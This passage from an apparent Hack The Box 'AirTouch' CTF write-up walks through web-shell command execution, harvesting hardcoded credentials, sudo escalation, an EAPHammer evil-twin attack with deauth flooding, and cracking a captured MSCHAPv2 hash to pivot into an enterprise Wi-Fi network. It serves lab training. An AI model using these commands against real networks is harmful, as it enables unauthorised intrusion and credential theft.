Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have RCE as www-data on the router. We now read login.php to see if there are hardcoded credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /uploads/shell4.phtml?cmd=cat+../login.php HTTP/1.1
Host: localhost
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=ctf72095cfdr7iu3ru2blg59jq; UserRole=admin
Connection: keep-alive


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
HTTP/1.1 200 OK
Date: Tue, 20 Jan 2026 07:24:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2542
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<?php session_start(); /* Starts the session */

// Check if user is already logged in
if (isset($_SESSION['UserData']['Username'])) {
header("Location:index.php"); // Redirect to index.php
exit; // Make sure to exit after redirection
}

session_start();


if (isset($_POST['Submit'])) {
/* Define username, associated password, and user attribute array */
$logins = array(
/*'user' => array('password' => 'JunDRDZKHDnpkpDDvay', 'role' => 'admin'),*/
'manager' => array('password' => '2wLFYNh4TSTgA5sNgT4', 'role' => 'user')
);

/* Check and assign submitted Username and Password to new variable */
$Username = isset($_POST['Username']) ? $_POST['Username'] : '';
$Password = isset($_POST['Password']) ? $_POST['Password'] : '';

/* Check Username and Password existence in defined array */
if (isset($logins[$Username]) && $logins[$Username]['password'] === $Password) {
/* Success: Set session variables and redirect to Protected page */
$_SESSION['UserData']['Username'] = $logins[$Username]['password'];
/* Success: Set session variables USERNAME */
$_SESSION['Username'] = $Username;

// Set a cookie with the user's role
setcookie('UserRole', $logins[$Username]['role'], time() + (86400 * 30), "/"); // 86400 = 1 day

header("location:index.php");
exit;
} else {
/*Unsuccessful attempt: Set error message */
$msg = "<span style='color:red'>Invalid Login Details</span>";
}
}

?>


<!DOCTYPE html>
<html>

<head>
<title>WiFi Router Configuration</title>
<link rel="stylesheet" href="style.css">
</head>

<body>


<div class="content">
<h3>PSK Router Login</h3>
<form action="" method="post" name="Login_Form">
<table width="400" border="0" align="center" cellpadding="5" cellspacing="1" class="Table">
<?php if (isset($msg)) { ?>
<tr>
<td colspan="2" align="center" valign="top">
<?php echo $msg; ?>
</td>
</tr>
<?php } ?>
<tr>
<td colspan="2" align="left" valign="top">
<h3>Login</h3>
</td>
</tr>
<tr>
<td align="right" valign="top">Username</td>
<td><input name="Username" type="text" class="Input"></td>
</tr>
<tr>
<td align="right">Password</td>
<td><input name="Password" type="password" class="Input"></td>
</tr>
<tr>
<td> </td>
<td><input name="Submit" type="submit" value="Login" class="Button3"></td>
</tr>
</table>
</form>
</div>
</body>

</html>

The commented-out array entry leaks a second account: user : JunDRDZKHDnpkpDDvay. We try it as SSH credentials against the router.

Lateral Movement - user@AirTouch-AP-PSK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@AirTouch-Consultant:~# ssh [email protected]
The authenticity of host '192.168.3.1 (192.168.3.1)' can't be established.
ECDSA key fingerprint is SHA256:++nw1pytCTTnPb2ngccd1CzlYaYUoTF8GmQ3a3QHnaU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.3.1' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

user@AirTouch-AP-PSK:~$ ls
user@AirTouch-AP-PSK:~$ cd
user@AirTouch-AP-PSK:~$ ls
user@AirTouch-AP-PSK:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@AirTouch-AP-PSK:~$

We are now sitting on AirTouch-AP-PSK, the PSK access point itself.

Privilege Escalation - PSK AP

sudo -l shows we can run anything with no password. Easy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
user@AirTouch-AP-PSK:~$ sudo -l
Matching Defaults entries for user on AirTouch-AP-PSK:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on AirTouch-AP-PSK:
(ALL) NOPASSWD: ALL
user@AirTouch-AP-PSK:~$
user@AirTouch-AP-PSK:~$ sudo su
root@AirTouch-AP-PSK:/home/user# cd
root@AirTouch-AP-PSK:~# ls
certs-backup cronAPs.sh psk send_certs.sh start.sh user.txt wlan_config_aps
root@AirTouch-AP-PSK:~# cat user.txt
183ab4d95c2ca8c5864449e56c8d5261
root@AirTouch-AP-PSK:~#

user.txt is ours. While we’re here, let’s check what else lives on this AP — send_certs.sh looks juicy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@AirTouch-AP-PSK:~# cat send_certs.sh
#!/bin/bash

# DO NOT COPY
# Script to sync certs-backup folder to AirTouch-office.

# Define variables
REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
REMOTE_PATH="~/certs-backup/"
LOCAL_FOLDER="/root/certs-backup/"

# Use sshpass to send the folder via SCP
sshpass -p "$REMOTE_PASSWORD" scp -r "$LOCAL_FOLDER" "[email protected]:$REMOTE_PATH"
root@AirTouch-AP-PSK:~#

Hardcoded credentials for the office AP: remote : xGgWEwqUpfoOVsLeROeG, target 10.10.10.1. To reach that host, we need to be associated to the AirTouch-Office network — which is WPA2-Enterprise (802.1X). Time to escalate the wireless attack.

Targeting AirTouch-Office (WPA2-Enterprise)

The AirTouch-Office SSID uses WPA2-Enterprise (802.1X) instead of a single shared key. Authentication is delegated to a RADIUS server, so each user has their own credentials — typically validated via PEAP-MSCHAPv2.

The classic way to harvest credentials against PEAP is an Evil Twin / Rogue AP: we stand up a malicious access point with the same SSID and signal-shadow the legitimate one with deauth frames. When the victim client roams to our AP, it transparently completes a PEAP exchange with us — handing over a username and an MSCHAPv2 challenge/response that we can crack offline.

We use EAPHammer to do the heavy lifting.

Importing Forged Certificates

The consultant box already has the AirTouch CA / server cert / private key staged in the home directory. We import them into EAPHammer so our rogue AP presents a “trusted-looking” certificate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
root@AirTouch-Consultant:~# ./eaphammer/eaphammer --cert-wizard import --ca-cert ca.crt --server-cert server.crt --private-key server.key

.__
____ _____ ______ | |__ _____ _____ _____ ___________
_/ __ \\__ \ \____ \| | \\__ \ / \ / \_/ __ \_ __ \
\ ___/ / __ \| |_> > Y \/ __ \| Y Y \ Y Y \ ___/| | \/
\___ >____ / __/|___| (____ /__|_| /__|_| /\___ >__|
\/ \/|__| \/ \/ \/ \/ \/


Now with more fast travel than a next-gen Bethesda game. >:D

Version: 1.14.0
Codename: Final Frontier
Author: @s0lst1c3
Contact: gabriel<<at>>transmitengage.com


[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
Case 1: Import all separate
[CW] Ensuring server cert, CA cert, and private key are valid...
server.crt
server.key
ca.crt
[CW] Complete!
[CW] Loading private key from server.key
[CW] Complete!
[CW] Loading server cert from server.crt
[CW] Complete!
[CW] Loading CA certificate chain from ca.crt
[CW] Complete!
[CW] Constructing full certificate chain with integrated key...
[CW] Complete!
[CW] Writing private key and full certificate chain to file...
[CW] Complete!
[CW] Private key and full certificate chain written to: /root/eaphammer/certs/server/AirTouch CA.pem
[CW] Activating full certificate chain...
[CW] Complete!
root@AirTouch-Consultant:~#



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@AirTouch-Consultant:~# eaphammer/eaphammer   --cert-wizard list

.__
____ _____ ______ | |__ _____ _____ _____ ___________
_/ __ \\__ \ \____ \| | \\__ \ / \ / \_/ __ \_ __ \
\ ___/ / __ \| |_> > Y \/ __ \| Y Y \ Y Y \ ___/| | \/
\___ >____ / __/|___| (____ /__|_| /__|_| /\___ >__|
\/ \/|__| \/ \/ \/ \/ \/


Now with more fast travel than a next-gen Bethesda game. >:D

Version: 1.14.0
Codename: Final Frontier
Author: @s0lst1c3
Contact: gabriel<<at>>transmitengage.com


[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
/root/eaphammer/certs/server/AirTouch CA.pem

Subject: Issuer:
CN -> AirTouch CA CN -> AirTouch CA
C -> ES C -> ES
ST -> None ST -> Madrid
L -> Madrid L -> Madrid
OU -> Server OU -> Certificate Authority
emailAddress -> [email protected] emailAddress -> [email protected]


Setting Up the Rogue Infrastructure

We dedicate wlan4 for the deauth flood and wlan3 for hosting the rogue AP, plus a small DHCP server so any associated client gets an IP from us.

1
2
3
4
5
6
consultant@AirTouch-Consultant:~$ sudo iwconfig wlan4
wlan4 IEEE 802.11 Mode:Monitor Frequency:5.22 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on


1
2
3
consultant@AirTouch-Consultant:~$ sudo ip addr add 192.168.99.1/24 dev wlan3
consultant@AirTouch-Consultant:~$ sudo dnsmasq --interface=wlan3 --dhcp-range=192.168.99.50,192.168.99.150,12h --dhcp-option=3,192.168.99.1 --dhcp-option=6,8.8.8.8 -d

We confirm the legitimate AirTouch-Office AP is up and on channel 44 (5 GHz).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@AirTouch-Consultant:~# airodump-ng wlan0

CH 13 ][ Elapsed: 48 s ][ 2026-01-21 05:14

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

F0:9F:C2:A3:F1:A7 -28 488 22 0 6 54 CCMP PSK AirTouch-Internet
0E:62:E1:6B:CA:47 -28 488 0 0 6 54 CCMP PSK WIFI-JOHN
AC:8B:A9:AA:3F:D2 -28 2 0 0 44 54e WPA2 CCMP MGT AirTouch-Office

BSSID STATION PWR Rate Lost Frames Notes Probes

(not associated) 28:6C:07:12:EE:A1 -29 0 - 1 0 2 AirTouch-Office
(not associated) C8:8A:9A:6F:F9:D2 -29 0 - 1 0 3 AccessLink,AirTouch-Office
(not associated) 28:6C:07:12:EE:F3 -29 0 - 1 0 2 AirTouch-Office
F0:9F:C2:A3:F1:A7 28:6C:07:FE:A3:22 -29 54 - 1 0 23 AirTouch-Internet
Quitting...

Launching the Evil Twin

We start EAPHammer impersonating the office AP on channel 44 with WPA2-EAP and KARMA enabled.

1
root@AirTouch-Consultant:~# sudo ./eaphammer/eaphammer     --bssid AC:8B:A9:AA:3F:D2     --essid AirTouch-Office     --channel 44     --interface wlan3     --auth wpa-eap     --creds     --karma     --debug

Then we deauth the real AP so clients are forced to roam — and most of them will land on the rogue radio because our cert matches.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
consultant@AirTouch-Consultant:~$ sudo aireplay-ng --deauth 0 -a AC:8B:A9:F3:A1:13 wlan4
05:23:16 Waiting for beacon frame (BSSID: AC:8B:A9:F3:A1:13) on channel 44
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
05:23:16 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:16 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:17 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:17 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:18 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:18 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:19 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:19 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:20 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:20 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
05:23:20 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]

After a short wait, EAPHammer logs an MSCHAPv2 challenge/response from a legitimate client.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
IEEE 802.1X: 28:6c:07:12:ee:f3 TX status - version=2 type=0 length=68 - ack=1
wlan3: Event EAPOL_RX (23) received
IEEE 802.1X: 113 bytes from 28:6c:07:12:ee:f3
IEEE 802.1X: version=1 type=0 length=109
EAP: code=2 identifier=234 length=109
(response)
wlan3: STA 28:6c:07:12:ee:f3 IEEE 802.1X: received EAP packet (code=2 id=234 len=109) from STA: EAP Response-PEAP (25)
IEEE 802.1X: 28:6c:07:12:ee:f3 BE_AUTH entering state RESPONSE
EAP: EAP entering state RECEIVED
EAP: parseEapResp: rxResp=1 rxInitiate=0 respId=234 respMethod=25 respVendor=0 respVendorMethod=0
EAP: EAP entering state INTEGRITY_CHECK
EAP: EAP entering state METHOD_RESPONSE
SSL: Received packet(len=109) - Flags 0x01
SSL: Received packet: Flags 0x1 Message Length 0
EAP-PEAP: received 103 bytes encrypted data for Phase 2
OpenSSL: RX ver=0x0 content_type=256 (TLS header info/)
EAP-PEAP: Decrypted Phase 2 EAP - hexdump(len=74): 02 ea 00 4a 1a 02 ea 00 45 31 e3 f1 3c eb 1d 2d 72 2a 98 fd db fe f8 c6 32 f9 00 00 00 00 00 00 00 00 fd 34 97 4a 0e 32 dd ff a5 d4 96 18 04 af 18 13 88 70 6f b4 f2 a6 16 e4 00 41 69 72 54 6f 75 63 68 5c 72 34 75 6c 63 6c
EAP-PEAP: received Phase 2: code=2 identifier=234 length=74


mschapv2: Wed Jan 21 05:24:47 2026
domain\username: AirTouch\r4ulcl
username: r4ulcl
challenge: a6:8f:07:a3:ca:69:4d:ac
response: fd:34:97:4a:0e:32:dd:ff:a5:d4:96:18:04:af:18:13:88:70:6f:b4:f2:a6:16:e4

jtr NETNTLM: r4ulcl:$NETNTLM$a68f07a3ca694dac$fd34974a0e32ddffa5d4961804af181388706fb4f2a616e4

hashcat NETNTLM: r4ulcl::::fd34974a0e32ddffa5d4961804af181388706fb4f2a616e4:a68f07a3ca694dac


EAP-MSCHAPV2: Invalid NT-Response
EAP: EAP entering state METHOD_REQUEST
EAP: building EAP-Request: Identifier 235
EAP-PEAP: Encrypting Phase 2 data - hexdump(len=66): 01 eb 00 42 1a 04 ea 00 3d 45 3d 36 39 31 20 52 3d 30 20 43 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 20 56 3d 33 20 4d 3d 46 41 49 4c 45 44
OpenSSL: TX ver=0x0 content_type=256 (TLS header info/)
SSL: Generating Request
SSL: Sending out 95 bytes (message sent completely)
EAP: EAP entering state SEND_REQUEST
EAP: EAP entering state IDLE
EAP: retransmit timeout 3 seconds (from dynamic back off; retransCount=0)
IEEE 802.1X: 28:6c:07:12:ee:f3 BE_AUTH entering state REQUEST
wlan3: STA 28:6c:07:12:ee:f3 IEEE 802.1X: Sending EAP Packet (identifier 235)
wlan3: Event EAPOL_TX_STATUS (37) received
IEEE 802.1X: 28:6c:07:12:ee:f3 TX status - version=2 type=0 length=101 - ack=1
wlan3: Event EAPOL_RX (23) received
IEEE 802.1X: 45 bytes from 28:6c:07:12:ee:f3
IEEE 802.1X: version=1 type=0 length=41
EAP: code=2 identifier=235 length=41
(response)
wlan3: STA 28:6c:07:12:ee:f3 IEEE 802.1X: received EAP packet (code=2 id=235 len=41) from STA: EAP Response-PEAP (25)
IEEE 802.1X: 28:6c:07:12:ee:f3 BE_AUTH entering state REQUEST

We grab the hashcat NETNTLM line:

  • User: AirTouch\r4ulcl
  • Hash: r4ulcl::::fd34974a0e32ddffa5d4961804af181388706fb4f2a616e4:a68f07a3ca694dac

Cracking the MSCHAPv2 Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ echo "r4ulcl::::fd34974a0e32ddffa5d4961804af181388706fb4f2a616e4:a68f07a3ca694dac" > ~/hash.txt

$ john -w:/usr/share/wordlists/rockyou.txt ~/hashCommand 'wordlist' not found, did you mean:
command 'wordlists' from deb wordlists
Try: sudo apt install <deb name>
johnjohn -w:/usr/share/wordlists/rockyou.txt ~/hash.txt
Warning: detected hash type "netntlm", but the string is also recognized as "netntlm-naive"
Use the "--format=netntlm-naive" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (netntlm, NTLMv1 C/R [MD4 DES (ESS MD5) 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
laboratory (r4ulcl)
1g 0:00:00:00 DONE (2026-01-21 00:32) 25.00g/s 2318Kp/s 2318Kc/s 2318KC/s ragde..ivan23
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed.


r4ulcl : laboratory. Done.

Joining AirTouch-Office

We swap to a PEAP wpa_supplicant profile on wlan1 and DHCP into the office network.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
root@AirTouch-Consultant:~# cat office.conf
network={
ssid="AirTouch-Office"
key_mgmt=WPA-EAP
eap=PEAP
identity="AirTouch\\r4ulcl"
password="laboratory"
}
root@AirTouch-Consultant:~# wpa_supplicant -i wlan1 -c office.conf -B
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
nl80211: Could not set interface 'p2p-dev-wlan1' UP
nl80211: deinit ifname=p2p-dev-wlan1 disabled_11b_rates=0
p2p-dev-wlan1: Failed to initialize driver interface
P2P: Failed to enable P2P Device interface
root@AirTouch-Consultant:~# dhclient wlan1
root@AirTouch-Consultant:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if29: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 92:03:9b:e4:f1:fe brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.20.1.2/24 brd 172.20.1.255 scope global eth0
valid_lft forever preferred_lft forever
7: wlan0: <BROADCAST,ALLMULTI,PROMISC,NOTRAILERS,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.3.61/24 brd 192.168.3.255 scope global dynamic wlan0
valid_lft 86038sec preferred_lft 86038sec
inet6 fe80::ff:fe00:0/64 scope link
valid_lft forever preferred_lft forever
8: wlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.98/24 brd 10.10.10.255 scope global dynamic wlan1
valid_lft 863998sec preferred_lft 863998sec
inet6 fe80::ff:fe00:100/64 scope link
valid_lft forever preferred_lft forever
9: wlan2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
10: wlan3: <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN group default qlen 1000
link/ether ac:8b:a9:aa:3f:d2 brd ff:ff:ff:ff:ff:ff
inet 192.168.99.1/24 scope global wlan3
valid_lft forever preferred_lft forever
11: wlan4: <BROADCAST,ALLMULTI,PROMISC,NOTRAILERS,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN group default qlen 1000
link/ieee802.11/radiotap 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff
12: wlan5: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff
13: wlan6: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:06:00 brd ff:ff:ff:ff:ff:ff

wlan1 now has 10.10.10.98/24 — we are inside the office segment with the management AP at 10.10.10.1. Time to use the credentials we lifted from send_certs.sh.

Pivot - remote@AirTouch-AP-MGT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[email protected]'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

remote@AirTouch-AP-MGT:~$ id
uid=1000(remote) gid=1000(remote) groups=1000(remote)

Privilege Escalation - Root

We rummage through /etc/hostapd since this is the management AP, and the RADIUS user database for the office network sits right there with an admin user and password.

1
2
3
4
5
6
7
remote@AirTouch-AP-MGT:/etc/hostapd$ cat * | grep -i admin
# text file that could be used, e.g., to populate the AP administration UI with
# administered bit)
"admin" MSCHAPV2 "xMJpzXt4D9ouMuL3JJsMriF7KZozm7" [2]
# text file that could be used, e.g., to populate the AP administration UI with
# administered bit)
remote@AirTouch-AP-MGT:/etc/hostapd$

That same password works for the local admin account, and admin has unrestricted sudo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
remote@AirTouch-AP-MGT:/etc/hostapd$ su admin
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@AirTouch-AP-MGT:/etc/hostapd$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)
admin@AirTouch-AP-MGT:/etc/hostapd$ sudo -l
Matching Defaults entries for admin on AirTouch-AP-MGT:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on AirTouch-AP-MGT:
(ALL) ALL
(ALL) NOPASSWD: ALL
admin@AirTouch-AP-MGT:/etc/hostapd$ sudo su
root@AirTouch-AP-MGT:/etc/hostapd# cd
root@AirTouch-AP-MGT:~# ls
certs mgt root.txt start.sh wlan_config_aps
root@AirTouch-AP-MGT:~# cat root.txt
e651d01aebe45d11022a4e9733e3bd34
root@AirTouch-AP-MGT:~#

And we are root.

That was it for AirTouch, hope you learned something new!

-0xkujen

  • Title: Hackthebox: Airtouch
  • Author: Foued SAIDI
  • Created at : 2026-04-18 16:31:16
  • Updated at : 2026-04-18 19:26:57
  • Link: https://kujen5.github.io/2026/04/18/Hackthebox-Airtouch/
  • License: This work is licensed under CC BY-NC-SA 4.0.